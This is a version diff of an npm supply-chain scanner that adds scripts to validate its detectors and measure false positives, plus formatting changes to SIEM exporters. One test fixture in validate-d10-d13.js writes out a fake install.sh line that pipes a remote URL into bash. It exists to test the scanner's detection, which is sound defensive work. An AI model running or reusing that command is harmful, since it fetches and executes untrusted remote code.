@lateos/npm-scan 0.18.3 → 1.1.0

package/backend/scripts/detect-false-positives.js

@@ -0,0 +1,103 @@
+#!/usr/bin/env node
+import { readFileSync, writeFileSync, existsSync } from 'node:fs';
+import { resolve } from 'node:path';
+import { runAll } from '../detectors/index.js';
+import whitelist from '../detectors/config/whitelist.json' with { type: 'json' };
+
+const WHITELIST_MAP = new Map();
+for (const entry of whitelist.packages) {
+  WHITELIST_MAP.set(entry.name, new Set(entry.detectors));
+}
+
+async function detectFalsePositives(topPackagesFile, confidenceThreshold = 70) {
+  const absPath = resolve(topPackagesFile);
+  if (!existsSync(absPath)) {
+    console.error(`[ERROR] Top packages file not found: ${absPath}`);
+    console.error('       Run fetch-top-packages.js first');
+    process.exit(1);
+  }
+
+  const text = readFileSync(absPath, 'utf-8');
+  const lines = text.split('\n').filter((l) => l.trim());
+  console.log(`[INFO] Loaded ${lines.length} packages from ${topPackagesFile}`);
+
+  const falsePositives = [];
+  let count = 0;
+  let skipped = 0;
+
+  for (const line of lines) {
+    const pkg = JSON.parse(line);
+    count += 1;
+
+    const pkgName = pkg.name;
+    const whitelistedDetectors = WHITELIST_MAP.get(pkgName);
+
+    if (whitelistedDetectors) {
+      skipped += 1;
+      if (count % 200 === 0 || count <= 5) {
+        console.log(`[SKIP] ${pkgName} (whitelisted for ${[...whitelistedDetectors].join(', ')})`);
+      }
+    } else {
+      if (count % 100 === 0) {
+        console.log(`[PROGRESS] Processed ${count}/${lines.length} packages...`);
+      }
+    }
+
+    try {
+      const pkgJson = { name: pkgName, version: pkg.version };
+      const findings = await runAll(pkgJson, [], null, []);
+
+      for (const detection of findings) {
+        if (detection.confidenceScore < confidenceThreshold) {
+          continue;
+        }
+        if (whitelistedDetectors && whitelistedDetectors.has(detection.id)) {
+          continue;
+        }
+
+        falsePositives.push({
+          package: pkgName,
+          version: pkg.version,
+          detector: detection.id,
+          confidence: detection.confidenceScore,
+          severity: detection.severity,
+          subtype: detection.subtype,
+          message: detection.message,
+          evidence: detection.evidence,
+          timestamp: new Date().toISOString(),
+        });
+
+        if (falsePositives.length <= 10) {
+          console.log(
+            `[FLAG] ${pkgName}@${pkg.version}: ${detection.id} (${detection.confidenceScore}%)`
+          );
+        }
+      }
+    } catch (err) {
+      console.error(`[ERROR] ${pkgName}: ${err.message}`);
+    }
+  }
+
+  const outPath = resolve('false-positives.jsonl');
+  const outputData = falsePositives.map((fp) => JSON.stringify(fp)).join('\n') + '\n';
+  writeFileSync(outPath, outputData, 'utf-8');
+
+  const scannedCount = count - skipped;
+  console.log(`\n[SUMMARY] Scanned ${scannedCount} packages (skipped ${skipped} whitelisted)`);
+  console.log(
+    `[SUMMARY] Found ${falsePositives.length} potential false positives (${((falsePositives.length / scannedCount) * 100).toFixed(1)}% FP rate)`
+  );
+  console.log(`[INFO] Written to ${outPath}`);
+
+  return falsePositives;
+}
+
+const topPackagesFile = process.argv[2] || 'top-packages.jsonl';
+const confidenceThreshold = parseInt(process.argv[3]) || 70;
+
+detectFalsePositives(topPackagesFile, confidenceThreshold)
+  .then(() => process.exit(0))
+  .catch((err) => {
+    console.error(`[FATAL] ${err.message}`);
+    process.exit(1);
+  });

package/backend/scripts/fetch-top-packages.js

@@ -0,0 +1,277 @@
+#!/usr/bin/env node
+import { writeFileSync } from 'node:fs';
+import { resolve } from 'node:path';
+
+async function fetchTopPackages(limit = 1000) {
+  console.log(`[INFO] Fetching top ${limit} npm packages via npms.io...`);
+
+  const packages = [];
+  const pageSize = 50;
+  const numPages = Math.ceil(limit / pageSize);
+
+  for (let page = 0; page < numPages; page++) {
+    const from = page * pageSize;
+    const q = encodeURIComponent('not:deprecated');
+    const url = `https://api.npms.io/v2/search?q=${q}&size=${pageSize}&from=${from}`;
+
+    console.log(`[INFO] Fetching page ${page + 1}/${numPages} (offset ${from})...`);
+
+    try {
+      const response = await fetch(url, { signal: AbortSignal.timeout(15000) });
+      if (!response.ok) {
+        console.error(`[ERROR] npms.io returned ${response.status} for page ${page + 1}`);
+        continue;
+      }
+
+      const data = await response.json();
+
+      for (const result of data.results || []) {
+        if (packages.length >= limit) {
+          break;
+        }
+        packages.push({
+          name: result.package.name,
+          version: result.package.version,
+          description: result.package.description || '',
+          keywords: result.package.keywords || [],
+          publisher: result.package.publisher ? result.package.publisher.username : null,
+          date: result.package.date,
+          score: result.score
+            ? {
+                final: result.score.final,
+                quality: result.score.detail?.quality,
+                popularity: result.score.detail?.popularity,
+                maintenance: result.score.detail?.maintenance,
+              }
+            : null,
+        });
+      }
+
+      console.log(`  Retrieved ${packages.length} packages so far`);
+    } catch (err) {
+      console.error(`[ERROR] Failed page ${page + 1}: ${err.message}`);
+    }
+
+    if (packages.length >= limit) {
+      break;
+    }
+
+    if (page < numPages - 1) {
+      await new Promise((r) => setTimeout(r, 2000));
+    }
+  }
+
+  if (packages.length === 0) {
+    console.log('[ERROR] No packages fetched. Using fallback known-top list.');
+    return await fallbackList(limit);
+  }
+
+  const outPath = resolve('top-packages.jsonl');
+  const lines = packages.map((pkg) => JSON.stringify(pkg)).join('\n') + '\n';
+  writeFileSync(outPath, lines, 'utf-8');
+  console.log(`\n[INFO] Written ${packages.length} packages to ${outPath}`);
+  return packages;
+}
+
+async function fallbackList(limit) {
+  const knownTop = [
+    'lodash',
+    'chalk',
+    'react',
+    'express',
+    'commander',
+    'axios',
+    'moment',
+    'webpack',
+    'eslint',
+    'typescript',
+    'prettier',
+    'babel',
+    'next',
+    'vue',
+    'angular',
+    'redux',
+    'jest',
+    'mocha',
+    'chai',
+    'sinon',
+    'nodemon',
+    'debug',
+    'async',
+    'request',
+    'colors',
+    'mkdirp',
+    'fs-extra',
+    'glob',
+    'yargs',
+    'minimist',
+    'uuid',
+    'date-fns',
+    'crypto-js',
+    'jsonwebtoken',
+    'passport',
+    'socket.io',
+    'ws',
+    'graphql',
+    'apollo',
+    'prisma',
+    'mongoose',
+    'pg',
+    'mysql2',
+    'redis',
+    'sequelize',
+    'typeorm',
+    'dotenv',
+    'cross-env',
+    'rimraf',
+    'semver',
+    'rimraf',
+    'tar',
+    'inquirer',
+    'ora',
+    'listr',
+    'conf',
+    'env-paths',
+    'find-up',
+    'p-locate',
+    'locate-path',
+    'path-exists',
+    'y18n',
+    'yallist',
+    'minipass',
+    'minizlib',
+    'supports-color',
+    'has-flag',
+    'wrap-ansi',
+    'string-width',
+    'strip-ansi',
+    'ansi-regex',
+    'is-fullwidth-code-point',
+    'emoji-regex',
+    'cliui',
+    'escalade',
+    'get-caller-file',
+    'require-directory',
+    'npm',
+    'node-fetch',
+    'got',
+    'phin',
+    'undici',
+    'make-fetch-happen',
+    'cacache',
+    'ssri',
+    'unique-filename',
+    'unique-slug',
+    'imurmurhash',
+    'signal-exit',
+    'which',
+    'isexe',
+    'minimatch',
+    'brace-expansion',
+    'balanced-match',
+    'concat-map',
+    'lru-cache',
+    'yallist',
+    'semver',
+    'json5',
+    'tslib',
+    'source-map',
+    'source-map-js',
+    'ms',
+    'mime',
+    'cookie',
+    'express-session',
+    'body-parser',
+    'cors',
+    'helmet',
+    'morgan',
+    'compression',
+    'serve-static',
+    'send',
+    'fresh',
+    'etag',
+    'parseurl',
+    'utils-merge',
+    'methods',
+    'array-flatten',
+    'qs',
+    'merge-descriptors',
+    'path-to-regexp',
+    'iconv-lite',
+    'raw-body',
+    'on-finished',
+    'ee-first',
+    'inherits',
+    'depd',
+    'http-errors',
+    'statuses',
+    'setprototypeof',
+    'toidentifier',
+    'content-type',
+    'negotiator',
+    'accepts',
+    'type-is',
+    'vary',
+    'encodeurl',
+    'escape-html',
+    'destroy',
+    'bytes',
+    'unpipe',
+    'finalhandler',
+    'media-typer',
+    'http-proxy',
+    'http-proxy-middleware',
+    'morgan',
+    'connect',
+    'pino',
+    'winston',
+    'bunyan',
+    'log4js',
+    'nanoid',
+    'uid',
+    'ulid',
+    'cuid',
+    'shortid',
+    'uuidv4',
+    'uuidv7',
+    'bcrypt',
+    'bcryptjs',
+    'argon2',
+    'scrypt',
+    'pbkdf2',
+    'crypto',
+    'node-forge',
+    'pkijs',
+    'asn1js',
+    'jsrsasign',
+    'jose',
+    'jwk',
+  ];
+  const pkgs = knownTop.slice(0, limit).map((name, i) => ({
+    name,
+    version: '1.0.0',
+    description: '',
+    keywords: [],
+    publisher: null,
+    date: null,
+    score: { final: 1 - i / knownTop.length, quality: 0.9, popularity: 0.9, maintenance: 0.9 },
+  }));
+  console.log(`[FALLBACK] Using ${pkgs.length} known top packages`);
+
+  const outPath = resolve('top-packages.jsonl');
+  const lines = pkgs.map((pkg) => JSON.stringify(pkg)).join('\n') + '\n';
+  writeFileSync(outPath, lines, 'utf-8');
+  console.log(`[INFO] Written ${pkgs.length} packages to ${outPath}`);
+  return pkgs;
+}
+
+const limit = parseInt(process.argv[2]) || 1000;
+fetchTopPackages(limit)
+  .then((pkgs) => {
+    console.log(`[DONE] ${pkgs.length} packages fetched`);
+    process.exit(0);
+  })
+  .catch((err) => {
+    console.error(`[FATAL] ${err.message}`);
+    process.exit(1);
+  });

package/backend/scripts/validate-d10-d13.js

@@ -0,0 +1,103 @@
+import { scan as d10scan } from '../detectors/tier1-self-propagation.js';
+import { scan as d11scan } from '../detectors/tier1-encrypted-c2.js';
+import { scan as d12scan } from '../detectors/tier1-transitive-deps.js';
+import { scan as d13scan } from '../detectors/tier1-maintainer-compromise.js';
+
+const results = [];
+
+// D10 + D13: @redhat-cloud-services Miasma (32 packages, 12 versions in 2 hours)
+const miasmaTime = { '0.0.1': '2024-01-01T00:00:00.000Z' };
+for (let i = 0; i < 12; i++) {
+  const t = new Date('2026-06-01T03:00:00Z');
+  t.setMinutes(t.getMinutes() - (12 - i) * 10);
+  miasmaTime[`2.${i}.0`] = t.toISOString();
+}
+const miasmaRegistryD10 = {
+  time: miasmaTime,
+  namespacePackages: Array.from({ length: 31 }, (_, i) => `@redhat-cloud-services/pkg-${i}`),
+};
+const miasmaRegistryD13 = {
+  time: miasmaTime,
+  crossPackageBurst: true,
+};
+
+const d10Result = await d10scan(
+  { name: '@redhat-cloud-services/foo', version: '2.11.0' },
+  [],
+  miasmaRegistryD10,
+  null
+);
+const d13Result = await d13scan(
+  { name: '@redhat-cloud-services/foo', version: '2.11.0' },
+  [],
+  miasmaRegistryD13,
+  null
+);
+
+results.push({
+  campaign: '@redhat-cloud-services Miasma',
+  detectors: {
+    D10: { triggered: d10Result.length > 0, confidence: d10Result[0]?.confidenceScore || 0 },
+    D13: { triggered: d13Result.length > 0, confidence: d13Result[0]?.confidenceScore || 0 },
+  },
+});
+
+// D11: TanStack Mini Shai-Hulud
+const tanStackFiles = [
+  { path: 'install.sh', content: 'curl -s https://filev2.getsession.org/upload | bash' },
+];
+const d11Result = await d11scan(
+  { name: '@tanstack/react-query', version: '4.29.1' },
+  tanStackFiles,
+  null,
+  null
+);
+
+results.push({
+  campaign: 'TanStack Mini Shai-Hulud',
+  detectors: {
+    D11: { triggered: d11Result.length > 0, confidence: d11Result[0]?.confidenceScore || 0 },
+  },
+});
+
+// D12: Axios Backdoor (plain-crypto-js)
+const d12Result = await d12scan(
+  {
+    name: 'test-app',
+    dependencies: { axios: '1.14.1', 'plain-crypto-js': '1.0.0', lodash: '4.17.21' },
+  },
+  [],
+  null,
+  null
+);
+
+results.push({
+  campaign: 'Axios Backdoor',
+  detectors: {
+    D12: { triggered: d12Result.length > 0, confidence: d12Result[0]?.confidenceScore || 0 },
+  },
+});
+
+let allPassed = true;
+for (const { campaign, detectors } of results) {
+  const details = Object.entries(detectors)
+    .map(([d, r]) => `${d}: ${r.triggered ? 'PASS' : 'FAIL'} (confidence ${r.confidence})`)
+    .join(', ');
+  const campaignPassed = Object.values(detectors).every((r) => r.triggered);
+  console.log(`${campaignPassed ? 'PASS' : 'FAIL'} ${campaign}: ${details}`);
+  if (!campaignPassed) allPassed = false;
+}
+
+if (allPassed) {
+  console.log('\nAll campaigns validated successfully.');
+} else {
+  console.log('\nSome campaigns FAILED validation.');
+}
+
+const output = {
+  timestamp: new Date().toISOString(),
+  results,
+  passed: allPassed,
+};
+const fs = await import('fs');
+fs.writeFileSync('validation-d10-d13.json', JSON.stringify(output, null, 2));

package/backend/scripts/validate-detectors.js

@@ -0,0 +1,151 @@
+#!/usr/bin/env node
+import { readFileSync, writeFileSync, existsSync } from 'node:fs';
+import { resolve } from 'node:path';
+import { runAll } from '../detectors/index.js';
+
+const CAMPAIGN_FIXTURES = {
+  'campaign-1': 'fixtures/campaigns/campaign-1-dependency-confusion.jsonl',
+  'campaign-2': 'fixtures/campaigns/campaign-2-mini-shai-hulud.jsonl',
+  'campaign-3': 'fixtures/campaigns/campaign-3-bitwarden-impersonation.jsonl',
+};
+
+function loadFixture(filePath) {
+  const abs = resolve(filePath);
+  if (!existsSync(abs)) {
+    console.error(`[ERROR] Fixture not found: ${abs}`);
+    return [];
+  }
+  const text = readFileSync(abs, 'utf-8');
+  return text
+    .split('\n')
+    .filter((l) => l.trim())
+    .map((l) => JSON.parse(l));
+}
+
+async function fetchNpmMetadata(pkgName, version) {
+  try {
+    const url = `https://registry.npmjs.org/${encodeURIComponent(pkgName)}/${version}`;
+    const response = await fetch(url, { signal: AbortSignal.timeout(5000) });
+    if (!response.ok) {
+      return null;
+    }
+    return await response.json();
+  } catch {
+    console.warn(`  [WARN] Registry fetch failed for ${pkgName}@${version}; using fixture data`);
+    return null;
+  }
+}
+
+function constructRegistryMeta(pkg, liveMeta) {
+  if (liveMeta) {
+    return liveMeta;
+  }
+  if (pkg.mockRegistryMeta) {
+    return pkg.mockRegistryMeta;
+  }
+  return null;
+}
+
+function constructPkgJson(pkg) {
+  const base = { name: pkg.package, version: pkg.version };
+  if (pkg.mockPackageJson) {
+    return { ...base, ...pkg.mockPackageJson };
+  }
+  return base;
+}
+
+async function validateDetectors(campaigns, outputFile) {
+  const allResults = [];
+
+  const campaignKeys = campaigns === 'all' ? Object.keys(CAMPAIGN_FIXTURES) : [campaigns];
+
+  for (const campaignKey of campaignKeys) {
+    const fixturePath = CAMPAIGN_FIXTURES[campaignKey];
+    if (!fixturePath) {
+      console.error(`[ERROR] Unknown campaign: ${campaignKey}`);
+      continue;
+    }
+
+    console.log(`\n[${new Date().toISOString()}] Validating ${campaignKey}...`);
+    const packages = loadFixture(fixturePath);
+    console.log(`  Loaded ${packages.length} packages from fixture`);
+
+    for (const pkg of packages) {
+      try {
+        const pkgJson = constructPkgJson(pkg);
+        const liveMeta = await fetchNpmMetadata(pkg.package, pkg.version);
+        const registryMeta = constructRegistryMeta(pkg, liveMeta);
+
+        const findings = await runAll(pkgJson, [], registryMeta, []);
+
+        const detectedIds = [...new Set(findings.map((f) => f.id))];
+
+        const result = {
+          package: pkg.package,
+          version: pkg.version,
+          campaign_id: pkg.campaign_id,
+          campaign_name: pkg.campaign_name,
+          attack_vector: pkg.attack_vector,
+          expected_detectors: pkg.expected_detectors,
+          detected_detectors: detectedIds,
+          detection_count: findings.length,
+          detections: findings.map((f) => ({
+            id: f.id,
+            detector: f.detector,
+            severity: f.severity,
+            confidence: f.confidence,
+            confidenceScore: f.confidenceScore,
+            subtype: f.subtype,
+            message: f.message,
+          })),
+          metadata_available: !!liveMeta,
+          registry_source: liveMeta ? 'live' : 'fixture',
+          timestamp: new Date().toISOString(),
+        };
+
+        allResults.push(result);
+
+        const expectedCount = pkg.expected_detectors.length;
+        const hitCount = detectedIds.filter((id) => pkg.expected_detectors.includes(id)).length;
+        console.log(
+          `  ${hitCount > 0 ? '✓' : '✗'} ${pkg.package}@${pkg.version}: ${hitCount}/${expectedCount} expected detectors fired`
+        );
+        for (const f of findings) {
+          console.log(`      ${f.id} (${f.confidenceScore}%, ${f.severity})`);
+        }
+      } catch (err) {
+        console.error(`  ✗ ${pkg.package}@${pkg.version}: ${err.message}`);
+        allResults.push({
+          package: pkg.package,
+          version: pkg.version,
+          campaign_id: pkg.campaign_id,
+          error: err.message,
+          timestamp: new Date().toISOString(),
+        });
+      }
+    }
+  }
+
+  if (outputFile) {
+    const lines = allResults.map((r) => JSON.stringify(r)).join('\n') + '\n';
+    writeFileSync(outputFile, lines, 'utf-8');
+  }
+
+  const processed = allResults.filter((r) => !r.error).length;
+  const errors = allResults.filter((r) => r.error).length;
+  console.log(`\n[SUMMARY] Processed ${processed} packages, ${errors} errors`);
+  console.log(`[INFO] Results written to ${outputFile}`);
+
+  return allResults;
+}
+
+const args = process.argv.slice(2);
+const campaignArg = args[0] || 'all';
+const outputArg = args[1] ? resolve(args[1]) : resolve('validation-results.jsonl');
+
+validateDetectors(campaignArg, outputArg)
+  .then(() => process.exit(0))
+  .catch((err) => {
+    console.error(`[ERROR] ${err.message}`);
+    process.exit(1);
+  });

package/backend/siem/cef.js

@@ -1,33 +1,35 @@
 export function generateCEF(scans) {
   const entries = [];
   for (const s of scans) {
-    for (const f of (s.findings || [])) {
+    for (const f of s.findings || []) {
       const atkId = f.atk_id || f.id;
       const desc = (f.description || f.title || '').replace(/\\/g, '\\\\').replace(/\|/g, '\\|');
       const sevMap = { critical: 10, high: 8, medium: 5, low: 2 };
       const sev = sevMap[f.severity] || 5;
       const pkgName = (s.package_name || 'unknown').replace(/\|/g, '\\|');
       const pkgVer = (s.version || '').replace(/\|/g, '\\|');
-      entries.push([
-        'CEF:0',
-        'npm-scan',
-        'npm-scan',
-        process.env.npm_package_version || '0.4.0',
-        atkId,
-        desc,
-        String(sev),
-        `suser=${pkgName} ${pkgVer}`,
-        `msg=${desc}`,
-        `cs1=${atkId}`,
-        `cs1Label=atkId`,
-        `cs2=${f.severity}`,
-        `cs2Label=severity`,
-        `cs3=${pkgName}`,
-        `cs3Label=package`,
-        `cs4=${pkgVer}`,
-        `cs4Label=version`,
-      ].join('|'));
+      entries.push(
+        [
+          'CEF:0',
+          'npm-scan',
+          'npm-scan',
+          process.env.npm_package_version || '0.4.0',
+          atkId,
+          desc,
+          String(sev),
+          `suser=${pkgName} ${pkgVer}`,
+          `msg=${desc}`,
+          `cs1=${atkId}`,
+          `cs1Label=atkId`,
+          `cs2=${f.severity}`,
+          `cs2Label=severity`,
+          `cs3=${pkgName}`,
+          `cs3Label=package`,
+          `cs4=${pkgVer}`,
+          `cs4Label=version`,
+        ].join('|')
+      );
     }
   }
   return entries.join('\n');
-}
+}

package/backend/siem/ecs.js

@@ -1,7 +1,7 @@
 export function generateECS(scans) {
   const events = [];
   for (const s of scans) {
-    for (const f of (s.findings || [])) {
+    for (const f of s.findings || []) {
       const atkId = f.atk_id || f.id;
       const sevMap = { critical: 100, high: 80, medium: 50, low: 20 };
       events.push({
@@ -37,5 +37,5 @@ export function generateECS(scans) {
       });
     }
   }
-  return events.map(e => JSON.stringify(e)).join('\n');
-}
+  return events.map((e) => JSON.stringify(e)).join('\n');
+}